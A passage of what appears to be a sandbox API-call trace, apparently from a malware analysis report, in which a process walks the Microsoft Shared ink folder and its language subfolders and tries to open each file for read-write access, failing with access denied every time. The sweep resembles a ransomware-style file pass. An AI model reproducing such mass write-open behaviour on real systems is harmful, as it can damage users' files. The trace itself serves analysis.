hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.557] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90daefa5, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x90daefa5, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x90daefa5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0168.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.557] GetLastError () returned 0x5 [0168.557] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c92176b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c92176b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdd6ec0f0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ConvertInkStore.exe", cAlternateFileName="")) returned 1 [0168.557] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0168.557] GetProcessHeap () returned 0x2ef0000 [0168.557] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.557] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.557] GetProcessHeap () returned 0x2ef0000 [0168.557] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.557] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.557] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.558] GetProcessHeap () returned 0x2ef0000 [0168.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.558] GetLastError () returned 0x5 [0168.558] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6ce8929, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6f23d9c, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6f23d9c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.558] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.558] GetProcessHeap () returned 0x2ef0000 [0168.558] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.558] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0168.558] GetProcessHeap () returned 0x2ef0000 [0168.558] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.559] GetProcessHeap () returned 0x2ef0000 [0168.559] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.559] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.559] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.559] GetProcessHeap () returned 0x2ef0000 [0168.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.559] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.559] GetLastError () returned 0x5 [0168.559] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6fbc310, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe71ab4c9, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe71d1626, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.559] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.559] GetProcessHeap () returned 0x2ef0000 [0168.559] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.559] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0168.559] GetProcessHeap () returned 0x2ef0000 [0168.559] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.559] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.560] GetProcessHeap () returned 0x2ef0000 [0168.561] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.561] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.561] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.561] GetProcessHeap () returned 0x2ef0000 [0168.561] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.561] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.562] GetLastError () returned 0x5 [0168.562] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.562] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.562] GetProcessHeap () returned 0x2ef0000 [0168.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.562] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0168.562] GetProcessHeap () returned 0x2ef0000 [0168.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.562] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.562] GetProcessHeap () returned 0x2ef0000 [0168.562] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.562] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.562] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0168.562] GetProcessHeap () returned 0x2ef0000 [0168.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.563] GetLastError () returned 0x5 [0168.563] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0168.563] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0168.565] GetProcessHeap () returned 0x2ef0000 [0168.565] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0168.565] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0168.565] GetProcessHeap () returned 0x2ef0000 [0168.565] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x82) returned 0x2f170e8 [0168.565] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0168.567] GetProcessHeap () returned 0x2ef0000 [0168.567] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170e8 | out: hHeap=0x2ef0000) returned 1 [0168.567] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0168.567] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0168.567] GetProcessHeap () returned 0x2ef0000 [0168.568] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x284) returned 0x2f3e278 [0168.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.568] GetLastError () returned 0x5 [0168.568] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0168.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.569] GetLastError () returned 0x5 [0168.569] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0168.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.569] GetLastError () returned 0x5 [0168.569] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0168.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.569] GetLastError () returned 0x5 [0168.570] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0168.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.570] GetLastError () returned 0x5 [0168.570] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0168.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.571] GetLastError () returned 0x5 [0168.571] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0168.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0168.571] GetLastError () returned 0x5 [0168.571] FindNextFileW (in: hFindFile=0x2f182c8, 